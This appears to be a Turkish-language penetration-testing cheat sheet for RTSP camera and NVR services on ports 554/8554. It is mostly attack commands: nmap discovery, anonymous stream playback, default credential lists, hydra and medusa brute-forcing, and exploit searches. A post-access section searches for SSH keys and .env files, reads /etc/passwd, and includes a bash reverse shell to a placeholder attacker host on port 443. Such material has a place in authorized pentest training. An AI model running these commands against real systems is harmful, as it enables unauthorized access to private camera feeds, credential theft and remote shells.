554,8554 - Pentesting RTSP

RTSP media

RTSP kamera/NVR akışı sunar. Anonim DESCRIBE/PLAY veya default parola canlı görüntü demektir. Hedef lab IP’si üzerinde komutları 554 portuna göre uyarla; her başarıyı ayrı kanıtla.

Metodoloji

1. 554/8554 doğrula.

2. OPTIONS/DESCRIBE.

3. Anonim PLAY.

4. Brute ve path enum.

Keşif

nmap -Pn -sV -p554,8554 TARGET

nmap -Pn -p554,8554 --script rtsp-methods,rtsp-url-brute TARGET

curl -v rtsp://TARGET:554/

ffplay rtsp://TARGET:554/stream1

Auth

ffplay rtsp://admin:admin@TARGET:554/

hydra -l admin -P pass.txt rtsp://TARGET

admin/admin, admin/12345, root/pass

Paths

nmap -p554 --script rtsp-url-brute TARGET

/live.sdp /stream1 /h264 /cam/realmonitor

Derin enum

,8554 - RTSP için ek keşif ve fingerprint.

nmap -Pn -sV -sC -p554,8554 TARGET

nmap -Pn -p554 --script safe,discovery TARGET

timeout 5 bash -c 'echo | openssl s_client -connect TARGET:554' 2>/dev/null | head

python3 -c "import socket;s=socket.create_connection(('TARGET',554));s.settimeout(3);print(s.recv(4096))"

Banner / TLS / ALPN notları → ,8554 - RTSP

Kimlik & brute (ek)

hydra -L users.txt -P rockyou.txt -s 554 PROTOCOL://TARGET -t 4

medusa -h TARGET -U users.txt -P rockyou.txt -M PROTOCOL -n 554

nmap -p554 --script '*-brute' TARGET

admin/admin, root/root, guest/(boş), test/test

Exploit arama

searchsploit RTSP

msfconsole -q -x 'search RTSP; exit'

nuclei -u https://TARGET:554 -t cves/ -silent -severity || true

nuclei -u http://TARGET:554 -tags tech -silent || true

Manuel protokol

nc -nv TARGET 554

printf '
' | timeout 3 nc -nv TARGET 554

curl -vk --http1.0 http://TARGET:554/

Wireshark/tcpdump ile konuşmayı kaydet; replay dene

Post-erişim & loot

config, key, session, env, backup

find / -name '*.conf' -o -name '*.env' -o -name 'id_rsa' 2>/dev/null | head

ss -lntp; ip a; cat /etc/passwd | head

bash -i >& /dev/tcp/ATTACKER/443 0>&1

mkdir -p loot && tee loot/notes.txt

Operasyon checklist

[ ] Fingerprint / sürüm
[ ] Auth ve anonim erişim
[ ] PoC etki gösterildi
[ ] Credential/shell paketlendi
[ ] Pivot notu

Zincir

DESCRIBE → anon/default → PLAY stream → privacy impact